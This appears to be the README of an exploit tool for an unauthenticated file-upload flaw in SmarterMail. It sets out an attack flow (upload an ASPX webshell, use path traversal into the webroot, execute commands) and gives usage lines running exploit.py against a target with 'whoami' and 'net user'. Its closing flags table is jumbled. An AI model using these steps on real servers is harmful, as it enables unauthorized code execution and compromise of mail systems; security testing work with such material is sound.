
SmarterMail Unauthenticated Arbitrary File Upload RCE
Critical unauthenticated arbitrary file upload allowing remote code execution.
| Field | Value |
|---|---|
| Product | SmarterMail |
| Affected | Build 9406 and earlier |
| CVSS | 10.0 (Critical) |
| Type | Arbitrary File Upload |
| Vector | HTTP (unauthenticated) |
| Impact | Remote Code Execution |
flowchart LR
A[Attacker] --> B["Find Upload Endpoint"]
B --> C["/api/upload"]
C --> D["Upload ASPX Shell"]
D --> E["Path Traversal"]
E --> F["../wwwroot/"]
F --> G["Access Shell"]
G --> H["RCE as IIS User"]
The vulnerability allows unauthenticated attackers to upload arbitrary files to any server location. By uploading an ASPX webshell to the webroot, attackers achieve code execution.
Attack Steps:
python exploit.py https://mail.target.com
python exploit.py https://mail.target.com -c "whoami"
python exploit.py https://mail.target.com -c "net user"
| Flag | Description | Default |
|---|---|---|
-c, --command | Command to execute | none |
requests
For authorized security testing only.
-t, --timeout| Request timeout |
| 30 |
--check-only | Only check if alive | off |